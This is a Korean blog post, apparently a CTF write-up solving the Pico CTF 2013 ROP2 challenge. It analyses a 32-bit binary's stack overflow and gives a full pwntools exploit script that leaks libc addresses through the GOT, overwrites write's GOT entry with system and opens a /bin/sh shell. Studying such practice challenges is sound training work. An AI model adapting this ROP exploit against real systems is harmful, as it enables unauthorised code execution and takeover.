-
Pico CTF 2013 ROP2 write-upCTF Write-Up 2018. 3. 10. 16:40
Pico CTF 2013 ROP 2 문제를 풀이했다.
[바이너리]
메모리 보호 기법 확인을 해보면
이렇게 Partial RELRO 와 NX가 걸려있는것을 확인 할 수 있다.
실행을 했을때 rop1 과 동일하게 Hello, World 만 뱉어준다.
[Think-1]
메모리 보호 기법중 NX 가 걸려있으므로 쉘코드를 스택에 올려서 쉘을 띄울 수는 없다.
또 Partial RELRO가 적용되어서 .got를 제외한 섹션은 Read-Only 이다.
ASLR은 자체적으로 걸어두었다.
바로 정적분석을 위해 IDA로 열어봤다.
main() 의 모습이다.
저 중 vulnerable_function() 가 있는데 주석을 달아놓은것 처럼 140byte를 입력하면 SFP가 덮이고, overflow가 일어난다.
vulnerable_function()의 내부 모습이다.
여기서도 not_called 라는 함수를 찾을 수 있었는데
이번에는 system("/bin/date"); 로 날짜정보를 출력해주는 것을 알 수 있다.
[Think-2]
쉘코드는 안되니 다른 기법을 사용해야하는데
read()와 write()를 이용하여 ROP를 하면 되겠다.
ROP 를 하기 위해 필요한 것들을 구해주고 pwn 모듈을 사용하여 Payload를 만들어줬다.
read()와 write()에 대한
plt 와 got는 IDA와 gdb를 이용하여 구하고
/bin/sh 을 저장할 bss의 주소와 함수 인자를 정리하며 연속적으로 함수를 호출에 필요한 pppr gadget은
objdump 로 구해주면 된다.
그리고 system_offset은 gdb를 이용하여 구하면된다.
따라서 이런 payload를 완성했다.
[payload.py]
12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *p = process('./rop2-20f65dd0bcbe267d')bss = 0x0804a028pppr = 0x804859dread_plt = 0x08048380read_got = 0x804a000write_plt = 0x80483d0write_got = 0x804a014system_offset = 0x99a10payload = 'A' * 140payload += p32(write_plt)payload += p32(pppr)payload += p32(1)payload += p32(read_got)payload += p32(4)payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(bss)payload += p32(8)payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(write_got)payload += p32(4)payload += p32(write_plt)payload += "AAAA"payload += p32(bss)p.send(payload)read_addr = u32(p.recv()[-4:])system_addr = read_addr - system_offsetp.send("/bin/sh\00")p.send(p32(system_addr))p.interactive()cs 반응형'CTF Write-Up' 카테고리의 다른 글
DEFCON CTF Qualifier 2018 ghettohacker:Throwback write up (0) 2018.05.15 Pico CTF 2013 ROP3 write-up (0) 2018.03.10 Pico CTF 2013 ROP1 write-up (0) 2018.03.08 Plaid CTF 2013 ropasaurusrex write-up (0) 2018.03.06 PicoCTF 2017 LEVEL 1 [WEB EXPLOITATION] What Is Web 풀이 (0) 2018.01.07